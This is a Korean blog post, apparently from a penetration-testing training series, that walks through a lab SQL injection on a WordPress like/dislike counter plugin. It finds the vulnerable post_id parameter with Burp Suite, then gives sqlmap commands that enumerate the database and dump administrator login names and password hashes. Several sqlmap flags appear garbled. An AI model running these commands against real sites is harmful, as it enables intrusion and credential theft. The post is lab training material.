본문으로 바로가기

1. burp suite & sqlmap


WordPresss Plugin 중에서 Like DisLike 취약점을 sqlmap을 이용하여 관리자 ID/Password 획득을 하고자한다.

like-dislike-counter-for-posts-pages-and-comments.zip

해당 파일을 미리 플러그인 추가 기능을 통해 활성화 시킨다. ( 과정 생략 )


(1) burp suite를 이용하여 취약한 파라미터 찾기

해당 플러그인을 추가하면 그림 1-1 처럼 Likes 와 Dislikes 버튼이 생성된다.

그림 1-1


해당 버튼을 누르기 전에 burp suite 실행 후 그림 1-2, 그림 1-3 처럼 세팅한다. ( burp suite 사용법은 추후 게시할 예정 )

그림 1-2


그림 1-3


그림 1-4 처럼 IE 브라우저의 cooxie 프록시를 잡고 그림 1-1의 Likes, Dislikes 둘 중 아무 버튼이나 누른다.

그림 1-4


burp suite에서 잡은 정보를 통해 취약한 파라미터(post_id) 확인

그림 1-5


(2) sqlmap을 이용하여 db정보 확인

간단한 옵션 설명

-u : 대상 url 지정

--data : post방식으로 넘겨지는 모든 파라미터

-p : 취약한 파라미터

--level : 테스트 레벨 지정. 높은 숫자일수록 더 많은 정보를 찾음 (1-5, 기본값 1) 

--dbs : 데이터베이스 목록화

kali에 있는 sqlmap을 이용하여 다음과 같은 명령어 입력

sqlmap -"http://192.168.0.130/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php" --data "post_id=1&up_type=c_like" -p post_id --level=3 --dbs
cs


그림 2-1 에 보이는 것처럼 boolean-based, union, time-based 인젝션이 활용됨을 볼 수 있다.

그림 2-1


그림 2-2


sqlmap -"http://192.168.0.130/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php" --data "post_id=1&up_type=c_like" -p post_id --current-db
cs

--current-db 옵션인 현재 DB를 출력하는 명령어를 통해 그림 2-3 처럼 'wordpress' 임을 확인

그림 2-3


sqlmap -"http://192.168.0.130/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php" --data "post_id=1&up_type=c_like" -p post_id -"wordpress" --tables
cs

wordpress의 테이블명을 검색하니 'wp-users' 컬럼명 확인가능

그림 2-4


sqlmap -"http://192.168.0.130/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php" --data "post_id=1&up_type=c_like" -p post_id -"wordpress" -"wp_users" --columns
cs

'wp-users' 컬럼명을 검색한 결과 그림 2-5 처럼 찾고자하는 'user-login''user_pass'를 확인 할 수 있다.

그림 2-5


sqlmap -"http://192.168.0.130/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php" --data "post_id=1&up_type=c_like" -p post_id -"wordpress" -"wp_users" -"user_login,user_pass" --dump
cs

'user_login' 'user_pass' 를 덤프하게되면 그림 2-6 처럼 입력한다.

하지만, 오랜 시간이 걸리기에 다른 방법을 통해 패스워드를 크랙하고자 한다. 'ctrl + c' 를 통해 명령어 취소.

그림 2-6


취소를 하게되면 그림 2-7 처럼 관리자 IDpassword가 해쉬값 형태로 보인다. 해당 해쉬값은 다음 게시글을 통해 이용되니 복사하여 'passwd.txt' 파일로 생성해놓자.

그림 2-7


'K-Shield Jr. > 모의해킹' 카테고리의 다른 글

SQL Injection의 종류와 의미  (0) 2018.11.07
WordPress Plugin 취약점 Like DisLike Counter :: 2. 패스워드 크랙  (1) 2018.11.05
Wordpress 한글화  (0) 2018.11.04
Ubuntu - Wordpress 설치  (0) 2018.11.02
Ubuntu 기본세팅  (0) 2018.11.02